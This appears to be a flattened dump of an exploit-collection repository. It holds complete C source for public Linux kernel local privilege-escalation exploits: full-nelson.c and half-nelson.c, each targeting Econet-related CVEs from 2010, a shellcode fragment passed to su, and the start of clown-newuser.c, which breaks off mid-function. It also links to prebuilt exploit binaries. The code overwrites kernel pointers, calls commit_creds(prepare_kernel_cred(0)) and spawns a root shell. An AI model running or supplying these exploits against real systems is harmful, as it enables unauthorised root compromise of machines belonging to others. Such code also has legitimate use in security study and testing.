216 | "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05"; 217 | 218 | #else 219 | #error "That platform is not supported." 220 | #endif 221 | printf("[+] Executing su with shellcode.\n"); 222 | execl("/bin/su", "su", shellcode, NULL); 223 | } else { 224 | char pid[32]; 225 | sprintf(pid, "%d", parent_pid); 226 | printf("[+] Executing child from child fork.\n"); 227 | execl("/proc/self/exe", argv[0], "-c", pid, NULL); 228 | } 229 | } -------------------------------------------------------------------------------- /3/exploit_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/3/exploit_32 -------------------------------------------------------------------------------- /3/exploit_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/3/exploit_64 -------------------------------------------------------------------------------- /4/exploit.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Linux Kernel <= 2.6.37 local privilege escalation 3 | * by Dan Rosenberg 4 | * @djrbliss on twitter 5 | * 6 | * 7 | * Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Privilege Escalation 8 | * 2.6.31, 2.6.32, 2.6.35, 2.6.37 9 | * ------------------------------------------------------------------------------------ 10 | * Usage: 11 | * gcc full-nelson.c -o full-nelson 12 | * ./full-nelson 13 | * 14 | * This exploit leverages three vulnerabilities to get root, all of which were 15 | * discovered by Nelson Elhage: 16 | * 17 | * CVE-2010-4258 18 | * ------------- 19 | * This is the interesting one, and the reason I wrote this exploit. If a 20 | * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL 21 | * word will be written to a user-specified pointer when that thread exits. 22 | * This write is done using put_user(), which ensures the provided destination 23 | * resides in valid userspace by invoking access_ok(). However, Nelson 24 | * discovered that when the kernel performs an address limit override via 25 | * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, 26 | * etc.), this override is not reverted before calling put_user() in the exit 27 | * path, allowing a user to write a NULL word to an arbitrary kernel address. 28 | * Note that this issue requires an additional vulnerability to trigger. 29 | * 30 | * CVE-2010-3849 31 | * ------------- 32 | * This is a NULL pointer dereference in the Econet protocol. By itself, it's 33 | * fairly benign as a local denial-of-service. It's a perfect candidate to 34 | * trigger the above issue, since it's reachable via sock_no_sendpage(), which 35 | * subsequently calls sendmsg under KERNEL_DS. 36 | * 37 | * CVE-2010-3850 38 | * ------------- 39 | * I wouldn't be able to reach the NULL pointer dereference and trigger the 40 | * OOPS if users weren't able to assign Econet addresses to arbitrary 41 | * interfaces due to a missing capabilities check. 42 | * 43 | * In the interest of public safety, this exploit was specifically designed to 44 | * be limited: 45 | * 46 | * * The particular symbols I resolve are not exported on Slackware or Debian 47 | * * Red Hat does not support Econet by default 48 | * * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and 49 | * Debian 50 | * 51 | * However, the important issue, CVE-2010-4258, affects everyone, and it would 52 | * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly 53 | * more sophisticated version of this that doesn't have the roadblocks I put in 54 | * to prevent abuse by script kiddies. 55 | * 56 | * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64. 57 | * 58 | * NOTE: the exploit process will deadlock and stay in a zombie state after you 59 | * exit your root shell because the Econet thread OOPSes while holding the 60 | * Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother. 61 | * 62 | * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla 63 | */ 64 | 65 | // EDB-Note: You may need to add '#define _GNU_SOURCE' to compile in later versions 66 | #define _GNU_SOURCE 67 | #include 68 | #include 69 | #include 70 | #include 71 | #include 72 | #include 73 | #include 74 | #include 75 | #include 76 | #include 77 | #include 78 | #include 79 | #include 80 | 81 | /* How many bytes should we clear in our 82 | * function pointer to put it into userspace? */ 83 | #ifdef __x86_64__ 84 | #define SHIFT 24 85 | #define OFFSET 3 86 | #else 87 | #define SHIFT 8 88 | #define OFFSET 1 89 | #endif 90 | 91 | /* thanks spender... */ 92 | unsigned long get_kernel_sym(char *name) 93 | { 94 | FILE *f; 95 | unsigned long addr; 96 | char dummy; 97 | char sname[512]; 98 | struct utsname ver; 99 | int ret; 100 | int rep = 0; 101 | int oldstyle = 0; 102 | 103 | f = fopen("/proc/kallsyms", "r"); 104 | if (f == NULL) { 105 | f = fopen("/proc/ksyms", "r"); 106 | if (f == NULL) 107 | goto fallback; 108 | oldstyle = 1; 109 | } 110 | 111 | repeat: 112 | ret = 0; 113 | while(ret != EOF) { 114 | if (!oldstyle) 115 | ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); 116 | else { 117 | ret = fscanf(f, "%p %s\n", (void **)&addr, sname); 118 | if (ret == 2) { 119 | char *p; 120 | if (strstr(sname, "_O/") || strstr(sname, "_S.")) 121 | continue; 122 | p = strrchr(sname, '_'); 123 | if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { 124 | p = p - 4; 125 | while (p > (char *)sname && *(p - 1) == '_') 126 | p--; 127 | *p = '\0'; 128 | } 129 | } 130 | } 131 | if (ret == 0) { 132 | fscanf(f, "%s\n", sname); 133 | continue; 134 | } 135 | if (!strcmp(name, sname)) { 136 | fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : 137 | ""); 138 | fclose(f); 139 | return addr; 140 | } 141 | } 142 | 143 | fclose(f); 144 | if (rep) 145 | return 0; 146 | fallback: 147 | uname(&ver); 148 | if (strncmp(ver.release, "2.6", 3)) 149 | oldstyle = 1; 150 | sprintf(sname, "/boot/System.map-%s", ver.release); 151 | f = fopen(sname, "r"); 152 | if (f == NULL) 153 | return 0; 154 | rep = 1; 155 | goto repeat; 156 | } 157 | 158 | typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 159 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 160 | _commit_creds commit_creds; 161 | _prepare_kernel_cred prepare_kernel_cred; 162 | 163 | static int __attribute__((regparm(3))) 164 | getroot(void * file, void * vma) 165 | { 166 | 167 | commit_creds(prepare_kernel_cred(0)); 168 | return -1; 169 | 170 | } 171 | 172 | /* Why do I do this? Because on x86-64, the address of 173 | * commit_creds and prepare_kernel_cred are loaded relative 174 | * to rip, which means I can't just copy the above payload 175 | * into my landing area. */ 176 | void __attribute__((regparm(3))) 177 | trampoline() 178 | { 179 | 180 | #ifdef __x86_64__ 181 | asm("mov $getroot, %rax; call *%rax;"); 182 | #else 183 | asm("mov $getroot, %eax; call *%eax;"); 184 | #endif 185 | 186 | } 187 | 188 | /* Triggers a NULL pointer dereference in econet_sendmsg 189 | * via sock_no_sendpage, so it's under KERNEL_DS */ 190 | int trigger(int * fildes) 191 | { 192 | int ret; 193 | struct ifreq ifr; 194 | 195 | memset(&ifr, 0, sizeof(ifr)); 196 | strncpy(ifr.ifr_name, "eth0", IFNAMSIZ); 197 | 198 | ret = ioctl(fildes[2], SIOCSIFADDR, &ifr); 199 | 200 | if(ret < 0) { 201 | printf("[*] Failed to set Econet address.\n"); 202 | return -1; 203 | } 204 | 205 | splice(fildes[3], NULL, fildes[1], NULL, 128, 0); 206 | splice(fildes[0], NULL, fildes[2], NULL, 128, 0); 207 | 208 | /* Shouldn't get here... */ 209 | exit(0); 210 | } 211 | 212 | int main(int argc, char * argv[]) 213 | { 214 | unsigned long econet_ops, econet_ioctl, target, landing; 215 | int fildes[4], pid; 216 | void * newstack, * payload; 217 | 218 | /* Create file descriptors now so there are two 219 | references to them after cloning...otherwise 220 | the child will never return because it 221 | deadlocks when trying to unlock various 222 | mutexes after OOPSing */ 223 | pipe(fildes); 224 | fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0); 225 | fildes[3] = open("/dev/zero", O_RDONLY); 226 | 227 | if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) { 228 | printf("[*] Failed to open file descriptors.\n"); 229 | return -1; 230 | } 231 | 232 | /* Resolve addresses of relevant symbols */ 233 | printf("[*] Resolving kernel addresses...\n"); 234 | econet_ioctl = get_kernel_sym("econet_ioctl"); 235 | econet_ops = get_kernel_sym("econet_ops"); 236 | commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); 237 | prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); 238 | 239 | if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) { 240 | printf("[*] Failed to resolve kernel symbols.\n"); 241 | return -1; 242 | } 243 | 244 | if(!(newstack = malloc(65536))) { 245 | printf("[*] Failed to allocate memory.\n"); 246 | return -1; 247 | } 248 | 249 | printf("[*] Calculating target...\n"); 250 | target = econet_ops + 10 * sizeof(void *) - OFFSET; 251 | 252 | /* Clear the higher bits */ 253 | landing = econet_ioctl << SHIFT >> SHIFT; 254 | 255 | payload = mmap((void *)(landing & ~0xfff), 2 * 4096, 256 | PROT_READ | PROT_WRITE | PROT_EXEC, 257 | MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); 258 | 259 | if ((long)payload == -1) { 260 | printf("[*] Failed to mmap() at target address.\n"); 261 | return -1; 262 | } 263 | 264 | memcpy((void *)landing, &trampoline, 1024); 265 | 266 | clone((int (*)(void *))trigger, 267 | (void *)((unsigned long)newstack + 65536), 268 | CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, 269 | &fildes, NULL, NULL, target); 270 | 271 | sleep(1); 272 | 273 | printf("[*] Triggering payload...\n"); 274 | ioctl(fildes[2], 0, NULL); 275 | 276 | if(getuid()) { 277 | printf("[*] Exploit failed to get root.\n"); 278 | return -1; 279 | } 280 | 281 | printf("[*] Got root!\n"); 282 | execl("/bin/sh", "/bin/sh", NULL); 283 | } 284 | -------------------------------------------------------------------------------- /4/exploit_32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/4/exploit_32 -------------------------------------------------------------------------------- /4/exploit_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/4/exploit_64 -------------------------------------------------------------------------------- /5/exploit.c: -------------------------------------------------------------------------------- 1 | /* 2 | * half-nelson.c 3 | * 4 | * Linux Kernel 2.6.0 < 2.6.36.2 Econet Privilege Escalation Exploit 5 | * Jon Oberheide 6 | * http://jon.oberheide.org 7 | * 8 | * Information: 9 | * 10 | * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848 11 | * 12 | * Stack-based buffer overflow in the econet_sendmsg function in 13 | * net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an 14 | * econet address is configured, allows local users to gain privileges by 15 | * providing a large number of iovec structures. 16 | * 17 | * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850 18 | * 19 | * The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel 20 | * before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which 21 | * allows local users to bypass intended access restrictions and configure 22 | * econet addresses via an SIOCSIFADDR ioctl call. 23 | * 24 | * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073 25 | * 26 | * The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not 27 | * initialize certain structures, which allows local users to obtain 28 | * potentially sensitive information from kernel stack memory. 29 | * 30 | * Usage: 31 | * 32 | * $ gcc half-nelson.c -o half-nelson -lrt 33 | * $ ./half-nelson 34 | * [+] looking for symbols... 35 | * [+] resolved symbol commit_creds to 0xffffffff81088ad0 36 | * [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0 37 | * [+] resolved symbol ia32_sysret to 0xffffffff81046692 38 | * [+] spawning children to achieve adjacent kstacks... 39 | * [+] found parent kstack at 0xffff88001c6ca000 40 | * [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000 41 | * [+] lower child spawning a helper... 42 | * [+] lower child calling compat_sys_wait4 on helper... 43 | * [+] helper going to sleep... 44 | * [+] upper child triggering stack overflow... 45 | * [+] helper woke up 46 | * [+] lower child returned from compat_sys_wait4 47 | * [+] parent's restart_block has been clobbered 48 | * [+] escalating privileges... 49 | * [+] launching root shell! 50 | * # id 51 | * uid=0(root) gid=0(root) 52 | * 53 | * Notes: 54 | * 55 | * This exploit leverages three vulnerabilities to escalate privileges. 56 | * The primary vulnerability is a kernel stack overflow, not a stack buffer 57 | * overflow as the CVE description incorrectly states. I believe this is the 58 | * first public exploit for a kernel stack overflow, and it turns out to be 59 | * a bit tricky due to some particulars of the econet vulnerability. A full 60 | * breakdown of the exploit is forthcoming. 61 | * 62 | * Tested on Ubuntu 10.04 LTS (2.6.32-21-generic). 63 | */ 64 | 65 | #include 66 | #include 67 | #include 68 | #include 69 | #include 70 | #include 71 | #include 72 | #include 73 | #include 74 | #include 75 | #include 76 | #include 77 | #include 78 | #include 79 | #include 80 | #include 81 | #include 82 | #include 83 | #include 84 | #include 85 | #include 86 | #include 87 | #include 88 | #include 89 | 90 | #define IOVS 446 91 | #define NPROC 1024 92 | #define KSTACK_SIZE 8192 93 | 94 | #define KSTACK_UNINIT 0 95 | #define KSTACK_UPPER 1 96 | #define KSTACK_LOWER 2 97 | #define KSTACK_DIE 3 98 | #define KSTACK_PARENT 4 99 | #define KSTACK_CLOBBER 5 100 | 101 | #define LEAK_BASE 0xffff880000000000 102 | #define LEAK_TOP 0xffff8800c0000000 103 | #define LEAK_DEPTH 500 104 | #define LEAK_OFFSET 32 105 | 106 | #define NR_IPC 0x75 107 | #define NR_WAIT4 0x72 108 | #define SEMCTL 0x3 109 | 110 | #ifndef PF_ECONET 111 | #define PF_ECONET 19 112 | #endif 113 | 114 | #define STACK_OFFSET 6 115 | #define RESTART_OFFSET 40 116 | 117 | struct ec_addr { 118 | unsigned char station; 119 | unsigned char net; 120 | }; 121 | 122 | struct sockaddr_ec { 123 | unsigned short sec_family; 124 | unsigned char port; 125 | unsigned char cb; 126 | unsigned char type; 127 | struct ec_addr addr; 128 | unsigned long cookie; 129 | }; 130 | 131 | struct ipc64_perm { 132 | uint32_t key; 133 | uint32_t uid; 134 | uint32_t gid; 135 | uint32_t cuid; 136 | uint32_t cgid; 137 | uint32_t mode; 138 | uint16_t seq; 139 | uint16_t __pad2; 140 | unsigned long __unused1; 141 | unsigned long __unused2; 142 | }; 143 | 144 | struct semid64_ds { 145 | struct ipc64_perm sem_perm; 146 | unsigned long sem_otime; 147 | unsigned long __unused1; 148 | unsigned long sem_ctime; 149 | unsigned long __unused; 150 | unsigned long sem_nsems; 151 | unsigned long __unused3; 152 | unsigned long __unused4; 153 | }; 154 | 155 | union semun { 156 | int val; 157 | struct semid_ds *buf; 158 | unsigned short *array; 159 | struct seminfo *__buf; 160 | }; 161 | 162 | struct region { 163 | unsigned long parent; 164 | unsigned long addrs[NPROC]; 165 | }; 166 | struct region *region; 167 | 168 | typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 169 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 170 | _commit_creds commit_creds; 171 | _prepare_kernel_cred prepare_kernel_cred; 172 | unsigned long ia32_sysret; 173 | 174 | void __attribute__((regparm(3))) 175 | kernel_code(void) 176 | { 177 | commit_creds(prepare_kernel_cred(0)); 178 | } 179 | 180 | void 181 | payload_parent(void) 182 | { 183 | asm volatile ( 184 | "mov $kernel_code, %rax\n" 185 | "call *%rax\n" 186 | ); 187 | } 188 | 189 | void 190 | payload_child(void) 191 | { 192 | asm volatile ( 193 | "movq $payload_parent, (%0)\n" 194 | "jmpq *%1\n" 195 | : 196 | : "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret) 197 | ); 198 | } 199 | 200 | unsigned long 201 | get_kstack(void) 202 | { 203 | int i, size, offset; 204 | union semun *arg; 205 | struct semid_ds dummy; 206 | struct semid64_ds *leaked; 207 | char *stack_start, *stack_end; 208 | unsigned char *p; 209 | unsigned long kstack, *ptr; 210 | 211 | /* make sure our argument is 32-bit accessible */ 212 | arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0); 213 | if (arg == MAP_FAILED) { 214 | printf("[-] failure mapping memory, aborting!\n"); 215 | exit(1); 216 | } 217 | 218 | /* map a fake stack to use during syscall */ 219 | stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0); 220 | if (stack_start == MAP_FAILED) { 221 | printf("[-] failure mapping memory, aborting!\n"); 222 | exit(1); 223 | } 224 | stack_end = stack_start + 4096; 225 | 226 | memset(arg, 0, sizeof(union semun)); 227 | memset(&dummy, 0, sizeof(struct semid_ds)); 228 | arg->buf = &dummy; 229 | 230 | /* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */ 231 | asm volatile ( 232 | "push %%rax\n" 233 | "push %%rbx\n" 234 | "push %%rcx\n" 235 | "push %%rdx\n" 236 | "push %%rsi\n" 237 | "push %%rdi\n" 238 | "movl %0, %%eax\n" 239 | "movl %1, %%ebx\n" 240 | "movl %2, %%ecx\n" 241 | "movl %3, %%edx\n" 242 | "movl %4, %%esi\n" 243 | "movq %5, %%rdi\n" 244 | "movq %%rsp, %%r8\n" 245 | "movq %6, %%rsp\n" 246 | "push %%r8\n" 247 | "int $0x80\n" 248 | "pop %%r8\n" 249 | "movq %%r8, %%rsp\n" 250 | "pop %%rdi\n" 251 | "pop %%rsi\n" 252 | "pop %%rdx\n" 253 | "pop %%rcx\n" 254 | "pop %%rbx\n" 255 | "pop %%rax\n" 256 | : 257 | : "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end) 258 | : "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8" 259 | ); 260 | 261 | /* naively extract a pointer to the kstack from the kstack */ 262 | p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET; 263 | kstack = *(unsigned long *) p; 264 | 265 | if (kstack < LEAK_BASE || kstack > LEAK_TOP) { 266 | printf("[-] failed to leak a suitable kstack address, try again!\n"); 267 | exit(1); 268 | } 269 | if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) { 270 | printf("[-] failed to leak a suitable kstack address, try again!\n"); 271 | exit(1); 272 | } 273 | 274 | kstack = kstack & ~0x1fff; 275 | 276 | return kstack; 277 | } 278 | 279 | unsigned long 280 | get_symbol(char *name) 281 | { 282 | FILE *f; 283 | unsigned long addr; 284 | char dummy, sym[512]; 285 | int ret = 0; 286 | 287 | f = fopen("/proc/kallsyms", "r"); 288 | if (!f) { 289 | return 0; 290 | } 291 | 292 | while (ret != EOF) { 293 | ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); 294 | if (ret == 0) { 295 | fscanf(f, "%s\n", sym); 296 | continue; 297 | } 298 | if (!strcmp(name, sym)) { 299 | printf("[+] resolved symbol %s to %p\n", name, (void *) addr); 300 | fclose(f); 301 | return addr; 302 | } 303 | } 304 | fclose(f); 305 | 306 | return 0; 307 | } 308 | 309 | int 310 | get_adjacent_kstacks(void) 311 | { 312 | int i, ret, shm, pid, type; 313 | 314 | /* create shared communication channel between parent and its children */ 315 | shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO); 316 | if (shm < 0) { 317 | printf("[-] failed creating shared memory, aborting!\n"); 318 | exit(1); 319 | } 320 | 321 | ret = ftruncate(shm, sizeof(struct region)); 322 | if (ret != 0) { 323 | printf("[-] failed resizing shared memory, aborting!\n"); 324 | exit(1); 325 | } 326 | 327 | region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0); 328 | memset(region, KSTACK_UNINIT, sizeof(struct region)); 329 | 330 | /* parent kstack self-discovery */ 331 | region->parent = get_kstack(); 332 | 333 | printf("[+] found parent kstack at 0x%lx\n", region->parent); 334 | 335 | /* fork and discover children with adjacently-allocated kernel stacks */ 336 | for (i = 0; i < NPROC; ++i) { 337 | pid = fork(); 338 | 339 | if (pid > 0) { 340 | type = KSTACK_PARENT; 341 | continue; 342 | } else if (pid == 0) { 343 | /* children do kstack self-discovery */ 344 | region->addrs[i] = get_kstack(); 345 | 346 | /* children sleep until parent has found adjacent children */ 347 | while (1) { 348 | sleep(1); 349 | if (region->addrs[i] == KSTACK_DIE) { 350 | /* parent doesn't need us :-( */ 351 | exit(0); 352 | } else if (region->addrs[i] == KSTACK_UPPER) { 353 | /* we're the upper adjacent process */ 354 | type = KSTACK_UPPER; 355 | break; 356 | } else if (region->addrs[i] == KSTACK_LOWER) { 357 | /* we're the lower adjacent process */ 358 | type = KSTACK_LOWER; 359 | break; 360 | } 361 | } 362 | break; 363 | } else { 364 | printf("[-] fork failed, aborting!\n"); 365 | exit(1); 366 | } 367 | } 368 | 369 | return type; 370 | } 371 | 372 | void 373 | do_parent(void) 374 | { 375 | int i, j, upper, lower; 376 | 377 | /* parent sleeps until we've discovered all the child kstacks */ 378 | while (1) { 379 | sleep(1); 380 | for (i = 0; i < NPROC; ++i) { 381 | if (region->addrs[i] == KSTACK_UNINIT) { 382 | break; 383 | } 384 | } 385 | if (i == NPROC) { 386 | break; 387 | } 388 | } 389 | 390 | /* figure out if we have any adjacent child kstacks */ 391 | for (i = 0; i < NPROC; ++i) { 392 | for (j = 0; j < NPROC; ++j) { 393 | if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) { 394 | break; 395 | } 396 | } 397 | if (j != NPROC) { 398 | break; 399 | } 400 | } 401 | if (i == NPROC && j == NPROC) { 402 | printf("[-] failed to find adjacent kstacks, try again!\n"); 403 | exit(1); 404 | } 405 | 406 | upper = i; 407 | lower = j; 408 | 409 | printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]); 410 | 411 | /* signal to non-adjacent children to die */ 412 | for (i = 0; i < NPROC; ++i) { 413 | if (i != upper && i != lower) { 414 | region->addrs[i] = KSTACK_DIE; 415 | } 416 | } 417 | 418 | /* signal adjacent children to continue on */ 419 | region->addrs[upper] = KSTACK_UPPER; 420 | region->addrs[lower] = KSTACK_LOWER; 421 | 422 | /* parent sleeps until child has clobbered the fptr */ 423 | while (1) { 424 | sleep(1); 425 | if (region->parent == KSTACK_CLOBBER) { 426 | break; 427 | } 428 | } 429 | 430 | printf("[+] escalating privileges...\n"); 431 | 432 | /* trigger our clobbered fptr */ 433 | syscall(__NR_restart_syscall); 434 | 435 | /* our privileges should be escalated now */ 436 | if (getuid() != 0) { 437 | printf("[-] privilege escalation failed, aborting!\n"); 438 | exit(1); 439 | } 440 | 441 | printf("[+] launching root shell!\n"); 442 | 443 | execl("/bin/sh", "/bin/sh", NULL); 444 | } 445 | 446 | void 447 | do_child_upper(void) 448 | { 449 | int i, ret, eco_sock; 450 | struct sockaddr_ec eco_addr; 451 | struct msghdr eco_msg; 452 | struct iovec iovs[IOVS]; 453 | struct ifreq ifr; 454 | char *target; 455 | 456 | /* calculate payload target, skip prologue */ 457 | target = (char *) payload_child; 458 | target += 4; 459 | 460 | /* give lower child a chance to enter its wait4 call */ 461 | sleep(1); 462 | 463 | /* write some zeros */ 464 | for (i = 0; i < STACK_OFFSET; ++i) { 465 | iovs[i].iov_base = (void *) 0x0; 466 | iovs[i].iov_len = 0; 467 | } 468 | 469 | /* overwrite saved ia32_sysret address on stack */ 470 | iovs[STACK_OFFSET].iov_base = (void *) target; 471 | iovs[STACK_OFFSET].iov_len = 0x0246; 472 | 473 | /* force abort via EFAULT */ 474 | for (i = STACK_OFFSET + 1; i < IOVS; ++i) { 475 | iovs[i].iov_base = (void *) 0xffffffff00000000; 476 | iovs[i].iov_len = 0; 477 | } 478 | 479 | /* create econet socket */ 480 | eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0); 481 | if (eco_sock < 0) { 482 | printf("[-] failed creating econet socket, aborting!\n"); 483 | exit(1); 484 | } 485 | 486 | memset(&ifr, 0, sizeof(ifr)); 487 | strcpy(ifr.ifr_name, "lo"); 488 | 489 | /* trick econet into associated with the loopback */ 490 | ret = ioctl(eco_sock, SIOCSIFADDR, &ifr); 491 | if (ret != 0) { 492 | printf("[-] failed setting interface address, aborting!\n"); 493 | exit(1); 494 | } 495 | 496 | memset(&eco_addr, 0, sizeof(eco_addr)); 497 | memset(&eco_msg, 0, sizeof(eco_msg)); 498 | eco_msg.msg_name = &eco_addr; 499 | eco_msg.msg_namelen = sizeof(eco_addr); 500 | eco_msg.msg_flags = 0; 501 | eco_msg.msg_iov = &iovs[0]; 502 | eco_msg.msg_iovlen = IOVS; 503 | 504 | printf("[+] upper child triggering stack overflow...\n"); 505 | 506 | /* trigger the kstack overflow into lower child's kstack */ 507 | ret = sendmsg(eco_sock, &eco_msg, 0); 508 | if (ret != -1 || errno != EFAULT) { 509 | printf("[-] sendmsg succeeded unexpectedly, aborting!\n"); 510 | exit(1); 511 | } 512 | 513 | close(eco_sock); 514 | } 515 | 516 | void 517 | do_child_lower(void) 518 | { 519 | int pid; 520 | 521 | printf("[+] lower child spawning a helper...\n"); 522 | 523 | /* fork off a helper to wait4 on */ 524 | pid = fork(); 525 | if (pid == 0) { 526 | printf("[+] helper going to sleep...\n"); 527 | sleep(5); 528 | printf("[+] helper woke up\n"); 529 | exit(1); 530 | } 531 | 532 | printf("[+] lower child calling compat_sys_wait4 on helper...\n"); 533 | 534 | /* syscall(NR_WAIT4, pid, 0, 0, 0) */ 535 | asm volatile ( 536 | "push %%rax\n" 537 | "push %%rbx\n" 538 | "push %%rcx\n" 539 | "push %%rdx\n" 540 | "push %%rsi\n" 541 | "movl %0, %%eax\n" 542 | "movl %1, %%ebx\n" 543 | "movl %2, %%ecx\n" 544 | "movl %3, %%edx\n" 545 | "movl %4, %%esi\n" 546 | "int $0x80\n" 547 | "pop %%rsi\n" 548 | "pop %%rdx\n" 549 | "pop %%rcx\n" 550 | "pop %%rbx\n" 551 | "pop %%rax\n" 552 | : 553 | : "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0) 554 | : "memory", "rax", "rbx", "rcx", "rdx", "rsi" 555 | ); 556 | 557 | printf("[+] lower child returned from compat_sys_wait4\n"); 558 | 559 | printf("[+] parent's restart_block has been clobbered\n"); 560 | 561 | /* signal parent that our fptr should now be clobbered */ 562 | region->parent = KSTACK_CLOBBER; 563 | } 564 | 565 | int 566 | main(int argc, char **argv) 567 | { 568 | int type; 569 | 570 | if (sizeof(unsigned long) != 8) { 571 | printf("[-] x86_64 only, sorry!\n"); 572 | exit(1); 573 | } 574 | 575 | printf("[+] looking for symbols...\n"); 576 | 577 | commit_creds = (_commit_creds) get_symbol("commit_creds"); 578 | if (!commit_creds) { 579 | printf("[-] symbol table not available, aborting!\n"); 580 | exit(1); 581 | } 582 | 583 | prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); 584 | if (!prepare_kernel_cred) { 585 | printf("[-] symbol table not available, aborting!\n"); 586 | exit(1); 587 | } 588 | 589 | ia32_sysret = get_symbol("ia32_sysret"); 590 | if (!ia32_sysret) { 591 | printf("[-] symbol table not available, aborting!\n"); 592 | exit(1); 593 | } 594 | 595 | printf("[+] spawning children to achieve adjacent kstacks...\n"); 596 | 597 | type = get_adjacent_kstacks(); 598 | 599 | if (type == KSTACK_PARENT) { 600 | do_parent(); 601 | } else if (type == KSTACK_UPPER) { 602 | do_child_upper(); 603 | } else if (type == KSTACK_LOWER) { 604 | do_child_lower(); 605 | } 606 | 607 | return 0; 608 | } 609 | -------------------------------------------------------------------------------- /5/exploit_64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evait-security/ClickNRoot/981c16d9e8895a4760cae473db39ff36301cd1c8/5/exploit_64 -------------------------------------------------------------------------------- /6/exploit.c: -------------------------------------------------------------------------------- 1 | /* 2 | source: http://www.securityfocus.com/bid/58478/info 3 | 4 | Linux kernel is prone to a local privilege-escalation vulnerability. 5 | 6 | Local attackers can exploit this issue to gain kernel privileges, which will aid in further attacks. 7 | 8 | Linux Kernel 3.0 < 3.3.5 - 'CLONE_NEWUSER|CLONE_FS' Privilege Escalation 9 | */ 10 | 11 | /* clown-newuser.c -- CLONE_NEWUSER kernel root PoC 12 | * 13 | * 14 | * Dedicated to: Locke Locke Locke Locke Locke Locke Locke! 15 | * 16 | * This exploit was made on the 13.3.13. 17 | * 18 | * (C) 2013 Sebastian Krahmer 19 | * 20 | * We are so 90's, but we do 2013 xSports. 21 | * 22 | * Must be compiled static: 23 | * 24 | * stealth@linux-czfh:~> cc -Wall clown-newuser.c -static 25 | * stealth@linux-czfh:~> ./a.out 26 | * [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian 27 | Krahmer 28 | * 29 | * [+] Found myself: '/home/stealth/a.out' 30 | * [*] Parent waiting for boomsh to appear ... 31 | * [*] Setting up chroot ... 32 | * [+] Done. 33 | * [*] Cloning evil child ... 34 | * [+] Done. 35 | * [*] Creating UID mapping ... 36 | * [+] Done. 37 | * [+] Yay! euid=0 uid=1000 38 | * linux-czfh:/home/stealth # grep bin /etc/shadow 39 | * bin:*:15288:::::: 40 | * linux-czfh:/home/stealth # 41 | * 42 | */ 43 | #define _GNU_SOURCE 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | 55 | 56 | int go[2]; 57 | char child_stack[1<<20]; 58 | extern char **environ; 59 | 60 | 61 | void die(const char *msg) 62 | 